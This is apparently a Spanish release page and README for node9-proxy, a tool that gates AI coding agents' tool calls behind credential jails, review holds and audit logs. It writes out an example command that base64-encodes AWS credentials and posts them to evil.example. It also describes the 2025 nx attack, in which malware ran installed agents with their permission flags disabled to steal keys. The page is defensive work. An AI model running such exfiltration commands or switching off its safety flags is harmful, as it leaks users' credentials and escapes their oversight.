Volver a actualizaciones
Nuevo releaseJul 24, 2026

node9-proxy v1.63.0

La capa de seguridad de ejecución para la Era de los Agentes. Proporcionando gobernanza determinista "Sudo" y registros de auditoría para agentes de IA autónomos.

Compartir

🛡️ node9

IAM para tus agentes de IA

Tus agentes de IA pueden acceder a Slack, GitHub, el correo electrónico y tu base de datos.
node9 decide qué pueden hacer con cada uno.

npm version monthly downloads License: Apache 2.0 Documentation OpenSSF Best Practices OpenSSF Scorecard node9 self-scanned Mentioned in Awesome Claude Code

Jail de credenciales · secretos y PII · git, SQL y shell destructivos retenidos para revisión · fijación de herramientas MCP · lista de permitidos de egreso de red · interruptor de bucles · un registro a través de doce agentes

Funciona con Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · cualquier servidor MCP.

Cómo se ve

Tu agente a la izquierda, node9 a la derecha. Cada llamada a herramienta que hace el agente se verifica antes de ejecutarse: permitida y registrada, retenida para tu aprobación, o bloqueada. El agente de aquí se lanzó con --dangerously-skip-permissions, y node9 aun así decide.

node9 monitor: live tool calls, decisions, shields and score

Instalación

brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

Luego, en cualquier proyecto:

node9 init       # finds your agents and MCP servers and puts node9 in front of every tool call
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

Requiere Node.js 22+.

init es todo el producto. Escribe los hooks, activa el jail de credenciales y las reglas siempre activas, y comienza a aplicar de inmediato. Nada sale de la máquina y no se necesita ninguna cuenta.

login no añade nada a la aplicación. Conecta la máquina a un espacio de trabajo para que un equipo pueda ver un registro único a través de los portátiles y CI de todos, establecer políticas de forma centralizada, y aprobar acciones retenidas desde un panel o Slack. Omítelo y node9 funciona exactamente igual, solo, sin conexión. node9 logout desconecta de nuevo y la aplicación local sigue ejecutándose.

El problema

En agosto de 2025, versiones comprometidas de la herramienta de compilación nx distribuyeron un script post-instalación que buscaba agentes de codificación de IA ya instalados en la máquina del desarrollador, y luego los ejecutaba con sus propios indicadores de seguridad desactivados (--dangerously-skip-permissions, --yolo, --trust-all-tools) para enumerar claves SSH, credenciales de la nube y archivos de carteras y escribir la lista en disco. El script envió los resultados a repositorios públicos dentro de las propias cuentas de GitHub de las víctimas. Más de mil tokens válidos de GitHub se filtraron, junto con credenciales de la nube, tokens de npm y aproximadamente 20.000 archivos, desde máquinas donde el agente estaba haciendo exactamente lo que se le indicó.

El agente no era el atacante. El agente era la herramienta, y nada se interponía entre él y los archivos. La puerta de node9 no es uno de esos indicadores: se ejecuta en el hook, y una acción que retiene permanece retenida incluso cuando el agente se inició con los permisos omitidos.

Qué hace node9 al respecto

node9 se sitúa entre el agente y cada herramienta que llama. El jail de credenciales (~/.ssh, ~/.aws, archivos .env, claves privadas) está activado por defecto, y una lectura de una de esas rutas no se ejecuta. El agente se detiene, se le explica por qué, y la decisión llega a ti:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

El comando se analiza como un AST de shell, no se compara como texto, así que envolver la lectura no ayuda. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example se juzga como una lectura de ~/.aws/credentials, no como un echo.

node9 es una puerta. Una acción retenida no se ejecuta mientras te espera, y si nunca respondes permanece bloqueada. Todo lo demás se permite y se escribe en el registro.

Lo que no hace: con el control de egreso desactivado, que es el valor predeterminado, un comando que entrega un archivo directamente a la red, como curl -d @~/.aws/credentials, no se trata como una lectura de ese archivo. node9 egress protect también controla los destinos, y cubre solo comandos de shell.

Verifícalo tú mismo

Nada de lo siguiente necesita una cuenta, y nada se sube.

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 scan scorecard

Qué gobierna

Cada línea es una capacidad, con la página que la documenta. La documentación es la referencia; este archivo es el mapa.

Categorías